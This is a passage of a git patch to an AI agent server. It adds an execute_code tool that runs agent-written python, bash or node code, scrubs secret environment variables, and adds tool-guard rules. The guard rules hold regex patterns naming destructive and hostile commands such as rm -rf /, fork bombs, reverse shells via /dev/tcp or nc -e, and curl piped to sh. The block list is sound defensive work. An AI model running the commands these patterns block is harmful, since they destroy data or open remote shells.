From 94cf812207968bf5d5f713bd78c3d840fc89dc6a Mon Sep 17 00:00:00 2001 From: matevip Date: Tue, 9 Jun 2026 08:05:50 +0800 Subject: [PATCH] feat(tool): add execute_code for running agent-authored code (#257) Add an execute_code built-in tool that runs python/bash/node code the agent writes on the fly, so a documentation-only skill (a SKILL.md with no bundled scripts) can be acted on. Scoped runs inject the skill's secrets and run in the skill directory; otherwise a private scratch directory is used. Host secret env vars are scrubbed from the subprocess. execute_code is an agent-wide capability, registered in the tool catalog (V143), and screened by the tool guard with a dedicated set of destructive-pattern rules. Tests cover python/bash/node execution, scratch-dir fallback, env scrubbing, argument decoding, and guard gating. --- .../binding/service/AgentBindingService.java | 5 + .../skill/runtime/SkillRuntimeService.java | 5 +- .../runtime/SkillScriptExecutionService.java | 115 ++++++++- .../mate/tool/builtin/CodeExecuteTool.java | 222 ++++++++++++++++++ .../vip/mate/tool/guard/DefaultToolGuard.java | 3 +- .../guard/guardian/ShellCommandGuardian.java | 6 +- .../service/ToolGuardRuleSeedService.java | 43 ++++ .../src/main/resources/db/data-en.sql | 7 +- .../src/main/resources/db/data-mysql-en.sql | 7 +- .../src/main/resources/db/data-mysql-zh.sql | 7 +- .../src/main/resources/db/data-zh.sql | 7 +- .../h2/V143__register_code_execute_tool.sql | 5 + .../V143__register_code_execute_tool.sql | 4 + .../SkillScriptExecutionServiceCodeTest.java | 139 +++++++++++ .../tool/builtin/CodeExecuteToolArgsTest.java | 59 +++++ .../mate/tool/guard/DefaultToolGuardTest.java | 27 +++ .../ShellCommandGuardianCodeTest.java | 84 +++++++ 17 files changed, 735 insertions(+), 10 deletions(-) create mode 100644 mateclaw-server/src/main/java/vip/mate/tool/builtin/CodeExecuteTool.java create mode 100644 mateclaw-server/src/main/resources/db/migration/h2/V143__register_code_execute_tool.sql create mode 100644 mateclaw-server/src/main/resources/db/migration/mysql/V143__register_code_execute_tool.sql create mode 100644 mateclaw-server/src/test/java/vip/mate/skill/runtime/SkillScriptExecutionServiceCodeTest.java create mode 100644 mateclaw-server/src/test/java/vip/mate/tool/builtin/CodeExecuteToolArgsTest.java create mode 100644 mateclaw-server/src/test/java/vip/mate/tool/guard/guardian/ShellCommandGuardianCodeTest.java diff --git a/mateclaw-server/src/main/java/vip/mate/agent/binding/service/AgentBindingService.java b/mateclaw-server/src/main/java/vip/mate/agent/binding/service/AgentBindingService.java index d70fb2dc..2bf095cb 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/binding/service/AgentBindingService.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/binding/service/AgentBindingService.java @@ -744,6 +744,11 @@ public class AgentBindingService implements AgentBindingResolver { "write_file", "edit_file", "execute_shell_command", + // Inline code execution — an agent-wide capability alongside shell. + // Lets any agent act on a documentation-only skill (a SKILL.md with + // no scripts) by writing and running the code its instructions + // describe. Dangerous code is screened by the same tool guard. + "execute_code", "detect_file_type", "extract_document_text", "extract_pdf_text", diff --git a/mateclaw-server/src/main/java/vip/mate/skill/runtime/SkillRuntimeService.java b/mateclaw-server/src/main/java/vip/mate/skill/runtime/SkillRuntimeService.java index edfa3eca..2bd13d1f 100644 --- a/mateclaw-server/src/main/java/vip/mate/skill/runtime/SkillRuntimeService.java +++ b/mateclaw-server/src/main/java/vip/mate/skill/runtime/SkillRuntimeService.java @@ -495,7 +495,10 @@ public class SkillRuntimeService { sb.append("To read a skill's reference or script files, use "); sb.append("`readSkillFile(skillName=, filePath=\"references/...\")`. "); sb.append("Skills with a `scripts/` directory expose `runSkillScript`; "); - sb.append("SKILL.md will name the script when needed.\n\n"); + sb.append("SKILL.md will name the script when needed. "); + sb.append("If a skill describes steps but ships no runnable script, write the code "); + sb.append("its instructions describe and run it with "); + sb.append("`execute_code(language=, code=..., skillName=)`.\n\n"); sb.append("| Skill | Status | Description |\n"); sb.append("|-------|--------|-------------|\n"); for (ResolvedSkill skill : selected) { diff --git a/mateclaw-server/src/main/java/vip/mate/skill/runtime/SkillScriptExecutionService.java b/mateclaw-server/src/main/java/vip/mate/skill/runtime/SkillScriptExecutionService.java index 3eb92ea2..daa93ae6 100644 --- a/mateclaw-server/src/main/java/vip/mate/skill/runtime/SkillScriptExecutionService.java +++ b/mateclaw-server/src/main/java/vip/mate/skill/runtime/SkillScriptExecutionService.java @@ -28,10 +28,22 @@ import java.util.concurrent.TimeUnit; public class SkillScriptExecutionService { private static final long DEFAULT_TIMEOUT_SECONDS = 30; + private static final long MAX_TIMEOUT_SECONDS = 300; private static final int MAX_OUTPUT_BYTES = 50_000; private static final boolean IS_WINDOWS = System.getProperty("os.name", "") .toLowerCase(Locale.ROOT).contains("win"); + /** Supported inline-code languages mapped to the temp-file extension. */ + private static final Map LANGUAGE_EXTENSIONS = Map.of( + "python", ".py", + "py", ".py", + "bash", ".sh", + "sh", ".sh", + "shell", ".sh", + "node", ".js", + "javascript", ".js", + "js", ".js"); + /** * 执行脚本(兼容签名 — 不注入额外 env vars) * @@ -56,6 +68,85 @@ public class SkillScriptExecutionService { * @return 执行结果 */ public ScriptResult execute(Path scriptPath, List args, Map envVars) { + return executeResolved(scriptPath, args, envVars, DEFAULT_TIMEOUT_SECONDS, false); + } + + /** + * Execute LLM-generated source code inline, without a pre-existing script file. + *

+ * Materializes {@code code} into a temporary file (extension chosen from + * {@code language}) inside {@code workingDir}, runs it through the same + * interpreter-selection + timeout + output-capping + env-injection path as + * {@link #execute(Path, List, Map)}, then deletes the temp file. + * + *

This is what makes a documentation-only skill (a SKILL.md with no + * {@code scripts:} entries) runnable: the agent reads the instructions, + * generates code, and runs it here. + * + * @param language one of python / bash / node (and aliases); selects the interpreter + * @param code the source code to run; must be non-blank + * @param workingDir directory the temp file is written to and the process cwd. When {@code null} + * a private temp scratch directory is created and removed afterward; when + * non-null it must be an existing directory (e.g. a skill or workspace dir) + * @param args optional positional arguments passed to the program + * @param envVars optional env vars injected into the subprocess (e.g. decrypted skill secrets) + * @param timeoutSeconds optional timeout override; clamped to (0, {@value #MAX_TIMEOUT_SECONDS}], defaults to {@value #DEFAULT_TIMEOUT_SECONDS} + * @return execution result + */ + public ScriptResult executeCode(String language, String code, Path workingDir, + List args, Map envVars, Long timeoutSeconds) { + if (code == null || code.isBlank()) { + return ScriptResult.error(-1, "No code supplied"); + } + String ext = language == null ? null + : LANGUAGE_EXTENSIONS.get(language.trim().toLowerCase(Locale.ROOT)); + if (ext == null) { + return ScriptResult.error(-1, "Unsupported language: " + language + + ". Supported: python, bash, node"); + } + if (workingDir != null && !Files.isDirectory(workingDir)) { + return ScriptResult.error(-1, "Working directory does not exist: " + workingDir); + } + + long timeout = DEFAULT_TIMEOUT_SECONDS; + if (timeoutSeconds != null && timeoutSeconds > 0) { + timeout = Math.min(timeoutSeconds, MAX_TIMEOUT_SECONDS); + } + + // No caller-supplied directory (e.g. an agent with no workspace base path): + // run in a private scratch directory and remove it afterward. Mirrors the + // shell tool tolerating a null working directory rather than failing. + Path scratchDir = null; + Path codeFile = null; + try { + Path dir = workingDir; + if (dir == null) { + scratchDir = Files.createTempDirectory("mc_code_ws_"); + dir = scratchDir; + } + // Write the code into the working dir so the process cwd matches the + // file location — relative paths in the generated code resolve as the + // author expects, and skill-scoped runs stay inside the skill dir. + codeFile = Files.createTempFile(dir, "mc_code_", ext); + Files.writeString(codeFile, code, StandardCharsets.UTF_8); + if (!IS_WINDOWS && ext.equals(".sh")) { + codeFile.toFile().setExecutable(true); + } + // Scrub sensitive host env vars: the code is LLM-authored, so it must + // not inherit the server's API keys / tokens. Skill secrets, when + // supplied via envVars, are re-added on top. + return executeResolved(codeFile, args, envVars, timeout, true); + } catch (IOException e) { + log.error("Failed to materialize inline code: {}", e.getMessage()); + return ScriptResult.error(-1, "Failed to write code file: " + e.getMessage()); + } finally { + deleteQuietly(codeFile); + deleteDirQuietly(scratchDir); + } + } + + private ScriptResult executeResolved(Path scriptPath, List args, Map envVars, + long timeoutSeconds, boolean scrubSensitiveEnv) { if (!Files.exists(scriptPath) || !Files.isRegularFile(scriptPath)) { return ScriptResult.error(-1, "Script not found: " + scriptPath); } @@ -113,7 +204,15 @@ public class SkillScriptExecutionService { pb.directory(scriptPath.getParent().toFile()); pb.redirectOutput(stdoutFile.toFile()); pb.redirectError(stderrFile.toFile()); - // RFC-091: inject per-skill secrets / settings as env vars. + // Strip secrets from the inherited environment before injecting the + // caller's own env. Used for LLM-authored inline code so it never + // sees the server's API keys / tokens via process inheritance. + if (scrubSensitiveEnv) { + pb.environment().keySet().removeIf(key -> + key.contains("KEY") || key.contains("SECRET") || key.contains("TOKEN") + || key.contains("PASSWORD") || key.contains("CREDENTIAL")); + } + // Inject per-skill secrets / settings as env vars. // pb.environment() inherits the parent process env; putAll // OVERRIDES same-named entries with the supplied values. // Null / blank values are skipped to avoid clearing @@ -129,12 +228,12 @@ public class SkillScriptExecutionService { Process process = pb.start(); - boolean finished = process.waitFor(DEFAULT_TIMEOUT_SECONDS, TimeUnit.SECONDS); + boolean finished = process.waitFor(timeoutSeconds, TimeUnit.SECONDS); if (!finished) { killProcess(process); String stdout = readFileTruncated(stdoutFile, MAX_OUTPUT_BYTES); String stderr = readFileTruncated(stderrFile, MAX_OUTPUT_BYTES); - String timeoutMsg = "[timeout after " + DEFAULT_TIMEOUT_SECONDS + "s]"; + String timeoutMsg = "[timeout after " + timeoutSeconds + "s]"; stderr = stderr.isEmpty() ? timeoutMsg : stderr + "\n" + timeoutMsg; return new ScriptResult(-1, stdout, stderr); } @@ -199,6 +298,16 @@ public class SkillScriptExecutionService { } } + /** Recursively remove a scratch directory created for an inline-code run. */ + private static void deleteDirQuietly(Path dir) { + if (dir == null) return; + try (var paths = Files.walk(dir)) { + paths.sorted(java.util.Comparator.reverseOrder()).forEach(p -> { + try { Files.deleteIfExists(p); } catch (IOException ignored) {} + }); + } catch (IOException ignored) {} + } + @lombok.Data @lombok.AllArgsConstructor public static class ScriptResult { diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/CodeExecuteTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/CodeExecuteTool.java new file mode 100644 index 00000000..7919d67e --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/CodeExecuteTool.java @@ -0,0 +1,222 @@ +package vip.mate.tool.builtin; + +import com.fasterxml.jackson.annotation.JsonProperty; +import com.fasterxml.jackson.annotation.JsonPropertyDescription; +import com.fasterxml.jackson.databind.DeserializationFeature; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.ai.chat.model.ToolContext; +import org.springframework.ai.tool.annotation.Tool; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Lazy; +import org.springframework.lang.Nullable; +import org.springframework.stereotype.Component; +import vip.mate.agent.context.ChatOrigin; +import vip.mate.llm.routing.AgentBindingResolver; +import vip.mate.skill.runtime.SkillRuntimeService; +import vip.mate.skill.runtime.SkillScriptExecutionService; +import vip.mate.skill.runtime.model.ResolvedSkill; +import vip.mate.skill.secret.SkillSecretService; +import vip.mate.tool.guard.WorkspacePathGuard; + +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.Set; + +/** + * Built-in tool: execute LLM-generated source code inline. + *

+ * Unlike {@code runSkillScript}, which runs a pre-existing file under a skill's + * {@code scripts/} directory, this tool accepts the code as text and runs it on + * the fly. It lets a documentation-only skill (a SKILL.md with no {@code scripts:} + * entries) be acted on: the agent reads the instructions, writes the code those + * instructions describe, and runs it here. + * + *

Safety: + *

    + *
  • Dangerous patterns in the code trigger ToolGuard approval/blocking — the + * tool name is registered as a shell-equivalent guarded tool.
  • + *
  • The subprocess does not inherit the server's secret env vars; only a + * bound skill's own declared secrets are injected.
  • + *
  • When {@code skillName} is given, the calling agent must be bound to that + * skill, and execution is scoped to the skill directory.
  • + *
  • Timeout defaults to 30s, hard-capped at 300s; output is truncated.
  • + *
+ */ +@Slf4j +@Component +@RequiredArgsConstructor +public class CodeExecuteTool { + + private final SkillRuntimeService runtimeService; + private final SkillScriptExecutionService executionService; + private final SkillSecretService skillSecretService; + private final ObjectMapper objectMapper; + + @Lazy + @Autowired + private AgentBindingResolver agentBindingResolver; + + @vip.mate.tool.ConcurrencyUnsafe("code execution can have arbitrary side effects on the host process and filesystem") + @Tool(name = "execute_code", description = """ + Execute a snippet of code you write, in python, bash, or node. + Use this to act on a skill whose SKILL.md describes steps but ships no runnable script: + read the instructions, write the code they describe, and run it here. + + Parameters: + - language: one of "python", "bash", "node" + - code: the full source code to run + - skillName: optional. When set, the code runs inside that skill's directory + (so it can read the skill's reference/template files by relative path) + and the skill's stored secrets are injected as environment variables. + - args: optional positional arguments, given as ONE JSON-encoded string: + a JSON array for multiple args, or plain text for a single argument. + - timeoutSeconds: optional, default 30, max 300. + + Returns: JSON with exitCode, stdout, stderr. + + Security: dangerous operations trigger security approval. The server's own + secret environment variables are not exposed to the code. + """) + public String execute_code( + @JsonProperty(required = true) + @JsonPropertyDescription("Language: python, bash, or node") + String language, + + @JsonProperty(required = true) + @JsonPropertyDescription("The full source code to run") + String code, + + @JsonProperty(required = false) + @JsonPropertyDescription("Optional skill name to scope execution to and inject secrets from") + String skillName, + + @JsonProperty(required = false) + @JsonPropertyDescription("Optional positional arguments as ONE JSON-encoded string: a JSON array for multiple args, or plain text for one literal argument.") + String args, + + @JsonProperty(required = false) + @JsonPropertyDescription("Timeout in seconds, default 30, max 300") + Integer timeoutSeconds, + + @Nullable ToolContext ctx + ) { + log.info("[CodeExecute] language={}, skill={}, codeChars={}", + language, skillName, code == null ? 0 : code.length()); + + Path workingDir; + Map envVars = Collections.emptyMap(); + + if (skillName != null && !skillName.isBlank()) { + // Skill-scoped run: validate binding + resolve the skill directory. + ResolvedSkill skill = runtimeService.findActiveSkill(skillName); + if (skill == null) { + return formatError("Skill '" + skillName + "' not found or not enabled"); + } + Long agentId = ChatOrigin.from(ctx).agentId(); + if (agentId != null) { + Set boundSkillIds = agentBindingResolver.getBoundSkillIds(agentId); + if (boundSkillIds != null && (skill.getId() == null || !boundSkillIds.contains(skill.getId()))) { + return formatError("Skill '" + skillName + "' is not available for this agent."); + } + } + // Directory-backed skills run inside their own directory so the code + // can read the skill's reference/template files by relative path. A + // database-backed skill (no directory) is still runnable: fall through + // with a null working dir so executeCode uses a private scratch dir. + // Either way the skill's stored secrets are injected. + workingDir = skill.getSkillDir(); + if (skill.getId() != null) { + envVars = skillSecretService.getDecrypted(skill.getId()); + } + } else { + // Workspace-scoped run: prefer the agent's workspace base path so any + // files the code produces land where the user expects. When the agent + // has no workspace dir, pass null — executeCode then runs in a private + // temp scratch dir (same tolerance as the shell tool). + workingDir = WorkspacePathGuard.getWorkingDirectory(ctx); + if (workingDir != null && !Files.isDirectory(workingDir)) { + workingDir = null; + } + } + + Long timeout = timeoutSeconds != null ? timeoutSeconds.longValue() : null; + List argList = normalizeArgs(args); + + try { + SkillScriptExecutionService.ScriptResult result = + executionService.executeCode(language, code, workingDir, argList, envVars, timeout); + return formatResult(result); + } catch (Exception e) { + log.error("[CodeExecute] Execution failed: {}", e.getMessage()); + return formatError("Execution failed: " + e.getMessage()); + } + } + + /** + * Decode the JSON-encoded {@code args} string into a positional argument list, + * mirroring {@code SkillScriptTool.normalizeArgs}: a JSON array becomes one + * argument per element, anything else is forwarded verbatim as a single + * argument (so a bare date / version string is never mangled by JSON parsing). + */ + List normalizeArgs(String args) { + if (args == null) { + return null; + } + String trimmed = args.trim(); + if (trimmed.isEmpty()) { + return null; + } + char lead = trimmed.charAt(0); + if (lead == '[') { + try { + JsonNode node = objectMapper.reader() + .with(DeserializationFeature.FAIL_ON_TRAILING_TOKENS) + .readTree(trimmed); + if (node != null && node.isArray()) { + List out = new ArrayList<>(node.size()); + for (JsonNode el : node) { + out.add(el.isTextual() ? el.asText() : el.toString()); + } + return out.isEmpty() ? null : out; + } + } catch (Exception e) { + log.debug("execute_code: args not valid JSON array, forwarding verbatim: {}", e.getMessage()); + } + } + return List.of(trimmed); + } + + private String formatResult(SkillScriptExecutionService.ScriptResult result) { + return String.format( + "{\n \"exitCode\": %d,\n \"stdout\": %s,\n \"stderr\": %s\n}", + result.getExitCode(), + jsonEscape(result.getStdout()), + jsonEscape(result.getStderr()) + ); + } + + private String formatError(String message) { + return String.format( + "{\n \"exitCode\": -1,\n \"stdout\": \"\",\n \"stderr\": %s\n}", + jsonEscape(message) + ); + } + + private String jsonEscape(String str) { + if (str == null || str.isEmpty()) { + return "\"\""; + } + return "\"" + str.replace("\\", "\\\\") + .replace("\"", "\\\"") + .replace("\n", "\\n") + .replace("\r", "\\r") + .replace("\t", "\\t") + "\""; + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/tool/guard/DefaultToolGuard.java b/mateclaw-server/src/main/java/vip/mate/tool/guard/DefaultToolGuard.java index 3ace7861..85c30b7a 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/guard/DefaultToolGuard.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/guard/DefaultToolGuard.java @@ -27,7 +27,8 @@ public class DefaultToolGuard implements ToolGuard { private static final Set SHELL_TOOL_NAMES = Set.of( "execute_shell_command", "shell_execute", - "run_command" + "run_command", + "execute_code" ); /** 文件写入类工具 —— 默认需要用户审批 */ diff --git a/mateclaw-server/src/main/java/vip/mate/tool/guard/guardian/ShellCommandGuardian.java b/mateclaw-server/src/main/java/vip/mate/tool/guard/guardian/ShellCommandGuardian.java index 06e7b2a8..b31e0b93 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/guard/guardian/ShellCommandGuardian.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/guard/guardian/ShellCommandGuardian.java @@ -24,7 +24,11 @@ import java.util.regex.Pattern; public class ShellCommandGuardian implements ToolGuardGuardian { private static final Set SHELL_TOOL_NAMES = Set.of( - "execute_shell_command", "shell_execute", "run_command" + "execute_shell_command", "shell_execute", "run_command", + // Inline code execution runs LLM-authored source through an + // interpreter, so it is screened against the same dangerous-command + // ruleset as direct shell execution. + "execute_code" ); private static final Map COMPILED_CACHE = new ConcurrentHashMap<>(); diff --git a/mateclaw-server/src/main/java/vip/mate/tool/guard/service/ToolGuardRuleSeedService.java b/mateclaw-server/src/main/java/vip/mate/tool/guard/service/ToolGuardRuleSeedService.java index 0a366d3b..ca44d1d0 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/guard/service/ToolGuardRuleSeedService.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/guard/service/ToolGuardRuleSeedService.java @@ -344,6 +344,49 @@ public class ToolGuardRuleSeedService implements ApplicationRunner { GuardSeverity.HIGH, GuardCategory.CREDENTIAL_EXPOSURE, "NEEDS_APPROVAL", null, gf("CRED_GITHUB_TOKEN"), 140)); + // === Inline code execution (execute_code) === + // DbRuleGuardian only matches rules whose toolName equals the invoked + // tool (or is global). The destructive shell rules above are scoped to + // execute_shell_command, so they would never screen code run through + // execute_code. Mirror the key patterns for execute_code here, reusing + // the shell rules' i18n strings (gn/gf keyed by the SHELL_* ids). + rules.add(rule("CODE_RM_RF_ROOT", gn("SHELL_RM_RF_ROOT"), "rm\\s+-(rf|fr)\\s+/\\s*$", + GuardSeverity.CRITICAL, GuardCategory.COMMAND_INJECTION, "BLOCK", + "execute_code", gf("SHELL_RM_RF_ROOT"), 200)); + rules.add(rule("CODE_MKFS", gn("SHELL_MKFS"), "mkfs\\b", + GuardSeverity.CRITICAL, GuardCategory.COMMAND_INJECTION, "BLOCK", + "execute_code", gf("SHELL_MKFS"), 200)); + rules.add(rule("CODE_DD_DEV", gn("SHELL_DD_DEV"), "dd\\s+if=.+of=/dev/", + GuardSeverity.CRITICAL, GuardCategory.COMMAND_INJECTION, "BLOCK", + "execute_code", gf("SHELL_DD_DEV"), 200)); + rules.add(rule("CODE_FORK_BOMB", gn("SHELL_FORK_BOMB"), ":\\(\\)\\s*\\{\\s*:\\|:\\s*&\\s*\\}\\s*;\\s*:", + GuardSeverity.CRITICAL, GuardCategory.RESOURCE_ABUSE, "BLOCK", + "execute_code", gf("SHELL_FORK_BOMB"), 200)); + rules.add(rule("CODE_REVERSE_SHELL", gn("SHELL_REVERSE_SHELL"), "(/dev/tcp|\\bnc\\s+-e\\b|\\bncat\\s+-e\\b|\\bsocat\\s+EXEC:)", + GuardSeverity.CRITICAL, GuardCategory.NETWORK_ABUSE, "BLOCK", + "execute_code", gf("SHELL_REVERSE_SHELL"), 200)); + rules.add(rule("CODE_CURL_PIPE_SH", gn("SHELL_CURL_PIPE_SH"), "curl.*\\|\\s*(sh|bash|zsh)", + GuardSeverity.CRITICAL, GuardCategory.CODE_EXECUTION, "BLOCK", + "execute_code", gf("SHELL_CURL_PIPE_SH"), 200)); + rules.add(rule("CODE_WGET_PIPE_SH", gn("SHELL_WGET_PIPE_SH"), "wget.*\\|\\s*(sh|bash|zsh)", + GuardSeverity.CRITICAL, GuardCategory.CODE_EXECUTION, "BLOCK", + "execute_code", gf("SHELL_WGET_PIPE_SH"), 200)); + rules.add(rule("CODE_KILL_INIT", gn("SHELL_KILL_INIT"), "\\bkill\\s+-9\\s+1\\b", + GuardSeverity.CRITICAL, GuardCategory.RESOURCE_ABUSE, "BLOCK", + "execute_code", gf("SHELL_KILL_INIT"), 200)); + rules.add(rule("CODE_RM", gn("SHELL_RM"), "(^|[;&|]|\\s)rm\\s", + GuardSeverity.HIGH, GuardCategory.COMMAND_INJECTION, "NEEDS_APPROVAL", + "execute_code", gf("SHELL_RM"), 150)); + rules.add(rule("CODE_RM_RF", gn("SHELL_RM_RF"), "rm\\s+-(rf|fr)", + GuardSeverity.HIGH, GuardCategory.COMMAND_INJECTION, "NEEDS_APPROVAL", + "execute_code", gf("SHELL_RM_RF"), 150)); + rules.add(rule("CODE_CHMOD_777", gn("SHELL_CHMOD_777"), "chmod\\s+777", + GuardSeverity.HIGH, GuardCategory.PRIVILEGE_ESCALATION, "NEEDS_APPROVAL", + "execute_code", gf("SHELL_CHMOD_777"), 150)); + rules.add(rule("CODE_OBFUSCATED_EXEC", gn("SHELL_OBFUSCATED_EXEC"), "base64\\s+-d.*\\|\\s*(bash|sh)", + GuardSeverity.HIGH, GuardCategory.CODE_EXECUTION, "NEEDS_APPROVAL", + "execute_code", gf("SHELL_OBFUSCATED_EXEC"), 150)); + return rules; } diff --git a/mateclaw-server/src/main/resources/db/data-en.sql b/mateclaw-server/src/main/resources/db/data-en.sql index 752e1772..7bd78328 100644 --- a/mateclaw-server/src/main/resources/db/data-en.sql +++ b/mateclaw-server/src/main/resources/db/data-en.sql @@ -527,6 +527,11 @@ MERGE INTO mate_tool (id, name, display_name, description, tool_type, bean_name, KEY (id) VALUES (1000000022, 'PdfRenderTool', 'PDF Render', 'Render Markdown into a final-form .pdf and return a one-time download link. Two backends (LibreOffice subprocess preferred, OpenPDF + Flying Saucer fallback); supports YAML frontmatter for cover / page header / page footer.', 'builtin', 'pdfRenderTool', '📄', TRUE, TRUE, NOW(), NOW(), 0); +-- Built-in tool: Code Execute (inline python/bash/node the agent writes on the fly) +MERGE INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +KEY (id) +VALUES (1000000023, 'CodeExecuteTool', 'Code Execute', 'Execute a snippet of code (python, bash, or node) that the agent writes on the fly. Lets a documentation-only skill be acted on by running the code its instructions describe. Dangerous operations trigger approval.', 'builtin', 'codeExecuteTool', '🧑‍💻', TRUE, TRUE, NOW(), NOW(), 0); + -- Example MCP Server: Filesystem (see MateClaw docs mcpServers.filesystem) MERGE INTO mate_mcp_server ( id, name, description, transport, url, headers_json, command, args_json, env_json, cwd, @@ -1860,7 +1865,7 @@ SELECT 1000000001, TRUE, 'all', - '["execute_shell_command"]', + '["execute_shell_command","execute_code"]', '[]', TRUE, '["/etc","/usr","/bin","/sbin","/boot","/sys","/proc","/dev"]', diff --git a/mateclaw-server/src/main/resources/db/data-mysql-en.sql b/mateclaw-server/src/main/resources/db/data-mysql-en.sql index 05d553a3..cdbb2845 100644 --- a/mateclaw-server/src/main/resources/db/data-mysql-en.sql +++ b/mateclaw-server/src/main/resources/db/data-mysql-en.sql @@ -579,6 +579,11 @@ INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name VALUES (1000000022, 'PdfRenderTool', 'PDF Render', 'Render Markdown into a final-form .pdf and return a one-time download link. Two backends (LibreOffice subprocess preferred, OpenPDF + Flying Saucer fallback); supports YAML frontmatter for cover / page header / page footer.', 'builtin', 'pdfRenderTool', '📄', TRUE, TRUE, NOW(), NOW(), 0) ON DUPLICATE KEY UPDATE name=VALUES(name), display_name=VALUES(display_name), description=VALUES(description), tool_type=VALUES(tool_type), bean_name=VALUES(bean_name), icon=VALUES(icon), enabled=VALUES(enabled), builtin=VALUES(builtin), update_time=VALUES(update_time), deleted=VALUES(deleted); +-- Built-in tool: Code Execute (inline python/bash/node the agent writes on the fly) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000023, 'CodeExecuteTool', 'Code Execute', 'Execute a snippet of code (python, bash, or node) that the agent writes on the fly. Lets a documentation-only skill be acted on by running the code its instructions describe. Dangerous operations trigger approval.', 'builtin', 'codeExecuteTool', '🧑‍💻', TRUE, TRUE, NOW(), NOW(), 0) +ON DUPLICATE KEY UPDATE name=VALUES(name), display_name=VALUES(display_name), description=VALUES(description), tool_type=VALUES(tool_type), bean_name=VALUES(bean_name), icon=VALUES(icon), enabled=VALUES(enabled), builtin=VALUES(builtin), update_time=VALUES(update_time), deleted=VALUES(deleted); + -- Example MCP Server: Filesystem (see MateClaw docs mcpServers.filesystem) INSERT INTO mate_mcp_server (id, name, description, transport, url, headers_json, command, args_json, env_json, cwd, enabled, connect_timeout_seconds, read_timeout_seconds, last_status, last_error, @@ -1904,7 +1909,7 @@ VALUES ( 1000000001, TRUE, 'all', - '["execute_shell_command"]', + '["execute_shell_command","execute_code"]', '[]', TRUE, '["/etc","/usr","/bin","/sbin","/boot","/sys","/proc","/dev"]', diff --git a/mateclaw-server/src/main/resources/db/data-mysql-zh.sql b/mateclaw-server/src/main/resources/db/data-mysql-zh.sql index 90252fb9..262e7141 100644 --- a/mateclaw-server/src/main/resources/db/data-mysql-zh.sql +++ b/mateclaw-server/src/main/resources/db/data-mysql-zh.sql @@ -574,6 +574,11 @@ INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name VALUES (1000000022, 'PdfRenderTool', 'PDF 渲染', '将 Markdown 渲染为最终交付形态的 .pdf 并返回一次性下载链接。双 backend 自动切换(优先 LibreOffice,不可用时回落到进程内 OpenPDF + Flying Saucer);通过 YAML frontmatter 控制封面、页眉、页脚。', 'builtin', 'pdfRenderTool', '📄', TRUE, TRUE, NOW(), NOW(), 0) ON DUPLICATE KEY UPDATE name=VALUES(name), display_name=VALUES(display_name), description=VALUES(description), tool_type=VALUES(tool_type), bean_name=VALUES(bean_name), icon=VALUES(icon), enabled=VALUES(enabled), builtin=VALUES(builtin), update_time=VALUES(update_time), deleted=VALUES(deleted); +-- 内置工具:代码执行(运行 Agent 临场编写的 python/bash/node 代码) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000023, 'CodeExecuteTool', '代码执行', '运行 Agent 临场编写的代码片段(python / bash / node)。让只有 SKILL.md 描述、无脚本的技能也能被执行——Agent 按说明生成并运行代码。危险操作会触发审批确认。', 'builtin', 'codeExecuteTool', '🧑‍💻', TRUE, TRUE, NOW(), NOW(), 0) +ON DUPLICATE KEY UPDATE name=VALUES(name), display_name=VALUES(display_name), description=VALUES(description), tool_type=VALUES(tool_type), bean_name=VALUES(bean_name), icon=VALUES(icon), enabled=VALUES(enabled), builtin=VALUES(builtin), update_time=VALUES(update_time), deleted=VALUES(deleted); + -- 示例 MCP Server:Filesystem(参考 MateClaw 文档中的 mcpServers.filesystem) INSERT INTO mate_mcp_server ( id, name, description, transport, url, headers_json, command, args_json, env_json, cwd, @@ -1901,7 +1906,7 @@ VALUES ( 1000000001, TRUE, 'all', - '["execute_shell_command"]', + '["execute_shell_command","execute_code"]', '[]', TRUE, '["/etc","/usr","/bin","/sbin","/boot","/sys","/proc","/dev"]', diff --git a/mateclaw-server/src/main/resources/db/data-zh.sql b/mateclaw-server/src/main/resources/db/data-zh.sql index c480a59a..773480a4 100644 --- a/mateclaw-server/src/main/resources/db/data-zh.sql +++ b/mateclaw-server/src/main/resources/db/data-zh.sql @@ -528,6 +528,11 @@ MERGE INTO mate_tool (id, name, display_name, description, tool_type, bean_name, KEY (id) VALUES (1000000022, 'PdfRenderTool', 'PDF 渲染', '将 Markdown 渲染为最终交付形态的 .pdf 并返回一次性下载链接。双 backend 自动切换(优先 LibreOffice,不可用时回落到进程内 OpenPDF + Flying Saucer);通过 YAML frontmatter 控制封面、页眉、页脚。', 'builtin', 'pdfRenderTool', '📄', TRUE, TRUE, NOW(), NOW(), 0); +-- 内置工具:代码执行(运行 Agent 临场编写的 python/bash/node 代码) +MERGE INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +KEY (id) +VALUES (1000000023, 'CodeExecuteTool', '代码执行', '运行 Agent 临场编写的代码片段(python / bash / node)。让只有 SKILL.md 描述、无脚本的技能也能被执行——Agent 按说明生成并运行代码。危险操作会触发审批确认。', 'builtin', 'codeExecuteTool', '🧑‍💻', TRUE, TRUE, NOW(), NOW(), 0); + -- 示例 MCP 